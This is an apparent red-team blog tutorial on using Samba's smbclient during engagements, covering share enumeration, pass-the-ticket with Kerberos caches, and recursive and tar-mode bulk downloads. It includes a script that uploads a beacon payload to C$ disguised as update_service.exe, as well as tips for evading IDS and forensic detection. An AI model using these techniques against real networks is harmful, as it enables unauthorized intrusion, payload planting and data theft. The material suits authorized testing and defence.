Skip to main content
  1. Posts/

Basic Introduction to smbclient - The Red Team Operator's Swiss Army Knife for SMB

··1830 words·9 mins·
Table of Contents

Everyone wants to talk about new C2 frameworks and the latest zero-day. In practice, most engagements I’ve been on were won by something less interesting — usually a misconfigured share that gave up the wrong file to the wrong account. The tool that got me to it more often than not was smbclient.

SMB/CIFS is the connective tissue of a Windows network. File shares, printers, RPC, named pipes — it all rides on SMB. Knowing the protocol well opens up a surprising number of attack paths.

This is the long version of how I actually use smbclient on engagements. Not the man page, and not just -L and get. Recursive pulls, Kerberos via .ccache, forced encryption when the network is being watched, credential opsec, and what the connection actually looks like from the blue team’s side.

Note

This is about the standard smbclient from the Samba suite on Linux. I’ll contrast it with Impacket’s smbclient.py where it matters, because the two have very different strengths.


Part 1: SMB versions, briefly
#

You can’t pick the right flags without knowing roughly which dialect you’re talking to.

  • SMB 1.0 (CIFS) — ancient, chatty, and the home of EternalBlue (MS17-010). Disabled by default on anything modern. If you see SMBv1 still on, you’re usually looking at OT/legacy gear, an old printer, or a sysadmin who hasn’t audited their fileservers in a decade.
  • SMB 2.0 / 2.1 — Vista / Server 2008. Cuts the round-trip count, larger buffers, symbolic links.
  • SMB 3.0 — Windows 8 / Server 2012. End-to-end encryption, transparent failover, multi-channel.
  • SMB 3.1.1 — Windows 10 / Server 2016. Pre-auth integrity checks, which kill silent dialect downgrades — annoying for MITM, good for defenders.

Signing and encryption
#

Two things to know up front:

  • SMB signing puts a signature on every packet. It defeats relay attacks like the ones ntlmrelayx does. Domain controllers require it by default.
  • SMB 3.0+ encryption hides the entire payload from network IDS. Snort and Suricata signatures that key on filenames or commands inside SMB go blind.

smbclient supports both natively, which means hardened servers that reject older or less capable clients still talk to it.


Part 2: Install and config
#

smbclient is part of the Samba suite. On Kali or Parrot it’s already there. On a minimal Debian/Ubuntu drop box:

sudo apt-get update
sudo apt-get install -y smbclient cifs-utils

A working smb.conf
#

You can pass everything as flags, but a clean ~/.smb/smb.conf (or /etc/samba/smb.conf) saves a lot of headaches with legacy servers and lets you tone down some of the obvious fingerprints.

[global]
    # Allow connecting to old servers if necessary (Use with caution!)
    # NT1 is SMBv1. Only enable this if you know you need it.
    client min protocol = NT1
    client max protocol = SMB3

    # Authentication Tweaks
    client lanman auth = no
    client ntlmv2 auth = yes

    # Forensic Evasion: Lie about who you are.
    # By default, smbclient announces itself as "Samba x.y.z".
    # This stands out in packet captures. Let's look like Windows 10.
    workgroup = WORKGROUP
    server string = Windows 10 Enterprise
Warning

server string only changes how your machine looks if it’s serving SMB. Some client operations still leak version info during the Session Setup. A defender doing real packet fingerprinting will identify smbclient regardless — assume that and plan accordingly.


Part 3: Enumeration
#

You can’t steal what you can’t find.

Listing shares
#

# Attempt to list shares using a null session (no credentials)
# -N suppresses the password prompt
smbclient -L 192.168.1.100 -N

# List shares with credentials
# Format: DOMAIN\username%password
smbclient -L 192.168.1.100 -U "CORP\jsmith%Password123"

# Dealing with "Access Denied" on -L
# Sometimes you have valid creds but cannot list shares.
# This is often due to restrictive IPC$ permissions.
# Try guessing common shares:
smbclient //192.168.1.100/C$ -U "CORP\jsmith%Password123"

The flags worth memorizing:

  • -L lists shares.
  • -N skips the password prompt (good for null-session checks).
  • -U is the username; leave off %password to be prompted securely.
  • -W sets the workgroup or domain if you don’t put it in the username string.

Null session vs. guest
#

Two related but distinct things:

  1. Null session — you authenticate with empty username and empty password. Historically this let you connect to IPC$ and pull users via RPC. Microsoft has mostly killed this.
  2. Guest access — you authenticate, but the server maps you to the Guest account. Common on Windows boxes with “Password Protected Sharing” turned off, and you’ll usually see shares like SharedDocs or Printers.

Always check both. If -N works, try listing files on standard shares before assuming you’ve got nothing.


Part 4: Connecting and using the shell
#

smbclient //192.168.1.100/Finance -U "CORP\jsmith"

The interactive prompt (smb: \>) feels like FTP. The basics:

  • ls — list files
  • cd — change directory
  • pwd — current remote directory
  • get file.txt — download to your local cwd
  • put payload.exe — upload from your local cwd
  • del file.txt — delete a remote file
  • mkdir folder — create a remote directory

Two commands most people skip
#

tarmode for bulk pulls
#

Pulling thousands of small files (source trees, web roots) one at a time is painful — every file pays the round-trip tax. tarmode wraps the remote files into a tar stream and you get one blob.

smb: \> tarmode      # Enable tar mode
smb: \> recurse      # Enable recursion
smb: \> get .        # 'Get' the current directory
# Result: A local file named 'tarmode.tar' containing everything.

allinfo
#

Before you try to drop a payload, check whether you can write to the path:

smb: \> allinfo payload.exe

This dumps ACLs, timestamps, and attributes. Useful for confirming you have write access and the file isn’t read-only before you discover the hard way.


Part 5: The techniques worth knowing
#

1. Recursive downloads
#

If you’ve found a share full of HR docs or finance spreadsheets, don’t get them one by one.

smb: \> mask ""      # Remove any filename filters
smb: \> recurse ON   # Enable recursion
smb: \> prompt OFF   # Disable confirmation prompts (Critical!)
smb: \> mget *       # Download everything

Without prompt OFF you’re hammering Enter for the next forty minutes.

2. Pass-the-Hash vs. Pass-the-Ticket
#

This trips up new operators all the time. Standard smbclient does not support Pass-the-Hash. There’s no -U user%hash. For PtH you need Impacket’s smbclient.py.

What standard smbclient does support is Kerberos — Pass-the-Ticket. If you’ve already pulled a .ccache (TGT or service ticket) from a compromised host using Rubeus, Mimikatz, or Ticketer, you can hand it to smbclient:

# 1. Point the environment variable to your ticket file
export KRB5CCNAME=/tmp/admin.ccache

# 2. Use the -k (Kerberos) flag
# Note: You MUST use the Full Qualified Domain Name (FQDN), NOT the IP!
# Kerberos relies on DNS names.
smbclient //dc01.corp.local/C$ -k

The catch is the FQDN — Kerberos resolves the SPN against the hostname, not the IP. If you -k against a raw IP, it won’t work and you’ll waste twenty minutes thinking your ticket is bad.

The win: in environments where NTLM auth is heavily monitored, Kerberos auth is often noisier in the SIEM but less alerted on, and you skip the password and the NTLM hash entirely.

3. Forcing SMB3 encryption
#

In a tightly monitored environment (a PCI zone, anything with serious DLP), filenames going across the wire in cleartext are a problem. Plenty of IDS rules trigger on substrings like CONFIDENTIAL or password inside SMB traffic.

Force SMB3 encryption with -e:

smbclient //192.168.1.100/Sensitive -U user -e

If the server supports it, the session is opaque to the network sensors. If it doesn’t (e.g. unpatched Server 2008 R2), the connection fails outright instead of quietly downgrading. That’s the behavior you want.

4. Credential files
#

Don’t paste your password or hash into the command line if you can avoid it.

  1. It ends up in ~/.bash_history.
  2. It’s visible in ps aux to anyone else on the box.

Use a credentials file:

username = jsmith
password = SuperSecretPassword!
domain   = CORP

Then -A:

smbclient //192.168.1.100/Share -A .smbcreds
Important

chmod 600 .smbcreds immediately, and shred -u .smbcreds when you’re done with it.


Part 6: Native vs. Impacket
#

FeatureNative smbclientImpacket smbclient.py
SpeedExtremely Fast (C-based)Slower (Python-based)
Pass-the-HashNo (Requires workaround)Yes (Native support)
KerberosYes (Native System Integration)Yes (Requires flags)
Interactive ShellRobust, FTP-likeBasic
RecursionExcellent (tarmode, recurse)Limited
InstallationPre-installed everywhereRequires Python setup

My rough rule: if I only have an NTLM hash, Impacket. If I have a ticket, or I’m moving any non-trivial amount of data, native. The native client is just dramatically faster, and tarmode is irreplaceable when you find a deep tree you want off the box quickly.


Part 7: Automation
#

Here-docs
#

-c works for one command, but for multi-step operations a here-doc is cleaner and easier to read in a script.

#!/bin/bash
set -euo pipefail

TARGET="192.168.1.100"
SHARE="C$"
USER="Administrator"
PASS="Password123"
LOCAL_FILE="beacons/http_beacon.exe"
REMOTE_PATH="Windows\\Temp\\update_service.exe"

echo "[*] Uploading payload to $TARGET..."

smbclient "//$TARGET/$SHARE" -U "$USER%$PASS" <<EOF
put "$LOCAL_FILE" "$REMOTE_PATH"
exit
EOF

echo "[+] Upload complete."

Tar-mode for exfiltration
#

You can have smbclient archive a remote tree directly to a local tarball — no thousands of small files written to your disk along the way:

smbclient //server/share -U user%pass -Tc backup.tar /path/to/remote/folder

-T is tar mode and -c says create.


Part 8: What the defender sees
#

Every connection you make leaves a trail.

  1. Windows Event Logs

    • 4624 (Logon) — you’ll usually generate a Type 3 (Network) logon. The Workstation Name field often gives you away (kali is a common giveaway).
    • Opsec: change your hostname before engaging. Match the client’s naming convention if you can. sudo hostnamectl set-hostname DESKTOP-JSMITH is a one-liner.
    • 5140 (Share Access) — fires on share connection.
  2. Network artifacts

    • During Session Setup, the client tells the server its OS and LAN Manager strings. Stock smbclient reports as Samba. In an all-Windows shop, “Samba 4.x.x” talking to “Windows Server” is a glaring anomaly to anyone watching Wireshark or Zeek.

Part 9: Common errors
#

  • NT_STATUS_ACCESS_DENIED — credentials might be valid but lack permission to that share. Try a different share.
  • NT_STATUS_LOGON_FAILURE — credentials are wrong.
  • NT_STATUS_ACCOUNT_LOCKED_OUT — stop. You’ve locked the account. Note the time, tell the lead.
  • protocol negotiation failed: NT_STATUS_CONNECTION_RESET — client/server can’t agree on a dialect. Add -m SMB3 or fix smb.conf.

Wrapping up
#

smbclient is one of those tools that sits in the background of every engagement and never makes it into the writeup. The C2 framework gets the credit, but the config file you needed to pivot, the password database, the unattended-install XML with creds in it — those almost always come off a share, and the share almost always got pulled with smbclient.

If you only remember a few flags, make them -k with KRB5CCNAME set (Kerberos), -e (forced SMB3 encryption), -A (credentials file), and the tarmode/recurse combo inside the shell. The rest you can look up.

UncleSp1d3r out.


References
#

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.